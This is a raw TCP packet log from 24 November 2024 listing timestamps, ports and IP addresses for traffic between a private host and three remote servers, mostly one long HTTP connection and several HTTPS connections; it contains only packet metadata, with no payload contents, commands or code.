Nov 24, 2024 04:20:24.334808111 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.334829092 CET	443	49749	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.334933043 CET	49749	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.335117102 CET	49749	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.335128069 CET	443	49749	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.335547924 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.335623026 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.335666895 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.335733891 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.336442947 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.336546898 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.336610079 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.337332010 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.337387085 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.337404013 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.337454081 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.338248968 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.338306904 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.338351965 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.338402033 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.344171047 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.344191074 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.344252110 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.344254971 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.344294071 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.344322920 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.344335079 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.354289055 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.354311943 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.354379892 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.354430914 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.354465961 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.354490995 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.363233089 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.363257885 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.363508940 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.363528967 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.363584995 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.378405094 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.378436089 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.378477097 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.378489017 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.378516912 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.378526926 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.380686998 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.380728006 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.380779028 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.380821943 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.380841017 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.380882978 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.392561913 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.392582893 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.392654896 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.392678976 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.392720938 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.399301052 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.399369001 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.399719000 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.399748087 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.399770021 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.399782896 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.399792910 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.402028084 CET	49750	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.402067900 CET	443	49750	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.402206898 CET	49750	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.402297974 CET	49750	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.402307034 CET	443	49750	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.411120892 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.411148071 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.411195993 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.411206961 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.411246061 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.411256075 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.420864105 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.420952082 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.420983076 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.421027899 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.421339035 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.421406984 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.421451092 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.421497107 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.422204971 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.422312975 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.422341108 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.422380924 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.423122883 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.423182011 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.423249006 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.423297882 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.424041986 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.424124956 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.424148083 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.424195051 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.424902916 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.424967051 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.424978971 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.425189018 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.425821066 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.425909042 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.425972939 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.426018953 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.426776886 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.426831961 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.426846981 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.426897049 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.427640915 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.427705050 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.427740097 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.427787066 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.428575993 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.428627968 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.428710938 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.428790092 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.429477930 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.429541111 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.429546118 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.429874897 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.430335999 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.430453062 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.430506945 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.431243896 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.431298971 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.431369066 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.431415081 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.432171106 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.432224989 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.432315111 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.432390928 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.432596922 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.432615042 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.432673931 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.432689905 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.432738066 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.433137894 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.433196068 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.433325052 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.433413982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.433963060 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.434010029 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.434063911 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.434176922 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.434814930 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.434881926 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.434883118 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.435014009 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.435780048 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.435796022 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.435832977 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.435866117 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.436657906 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.436705112 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.436883926 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.436934948 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.437546968 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.437593937 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.437625885 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.437679052 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.438465118 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.438513041 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.438572884 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.438620090 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.439378023 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.439425945 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.439436913 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.439470053 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.440248966 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.440298080 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.440351963 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.440468073 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.441163063 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.441212893 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.441251040 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.441303968 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.442044020 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.442096949 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.442193985 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.442255020 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.442945957 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.442997932 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.442998886 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.443051100 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.443856001 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.443907976 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.443967104 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.444015026 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.444758892 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.444819927 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.444873095 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.444921970 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.445646048 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.445703983 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.445713043 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.445759058 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.446540117 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.446594954 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.446651936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.446752071 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.447439909 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.447496891 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.447514057 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.447566986 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.448353052 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.448431015 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.448476076 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.448591948 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.449269056 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.449317932 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.449372053 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.449424028 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.450114965 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.450164080 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.454992056 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.455054998 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.455081940 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.455092907 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.455121040 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.455132961 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.466445923 CET	443	49742	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.466531038 CET	443	49742	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.466597080 CET	49742	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.466753960 CET	49742	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.466773987 CET	443	49742	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.466784954 CET	49742	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.466790915 CET	443	49742	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.469403982 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.469476938 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.469506025 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.469582081 CET	49751	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.469607115 CET	443	49751	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.469609976 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.469650030 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.469719887 CET	49751	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.469760895 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.469799995 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.469799995 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.469856977 CET	49751	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.469870090 CET	443	49751	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.470573902 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.470628023 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.470664024 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.470732927 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.471508980 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.471633911 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.471685886 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.472399950 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.472418070 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.472453117 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.472481012 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.473273993 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.473330975 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.473376036 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.473519087 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.474164963 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.474220991 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.474263906 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.474313974 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.475055933 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.475169897 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.475223064 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.475977898 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.476036072 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.476139069 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.476236105 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.476862907 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.476984024 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.477031946 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.477752924 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.477813005 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.490098953 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.490161896 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.490180969 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.490186930 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.490216970 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.490226030 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.508541107 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.508559942 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.508604050 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.508610010 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.508637905 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.508656979 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.509627104 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.509651899 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.509696960 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.509718895 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.509737015 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.509851933 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.511761904 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.511792898 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.511868954 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.511887074 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.511965990 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.524159908 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.524194002 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.524229050 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.524240017 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.524276018 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.524287939 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.530107021 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.530123949 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.530178070 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.530183077 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.530231953 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.535851002 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.535895109 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.535949945 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.535964966 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.535990000 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.536004066 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.536618948 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.536636114 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.536683083 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.536691904 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.536709070 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.536765099 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.537344933 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.537434101 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.537676096 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.537714958 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.537714958 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.537739038 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.537750006 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.539858103 CET	49752	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.539925098 CET	443	49752	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.540047884 CET	49752	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.540174961 CET	49752	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.540215015 CET	443	49752	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.540431976 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.540498018 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.540571928 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.540622950 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.540673018 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.540730953 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.540766954 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.540813923 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.541564941 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.541610003 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.541619062 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.541652918 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.542269945 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.542370081 CET	80	49718	185.215.113.206	192.168.2.6
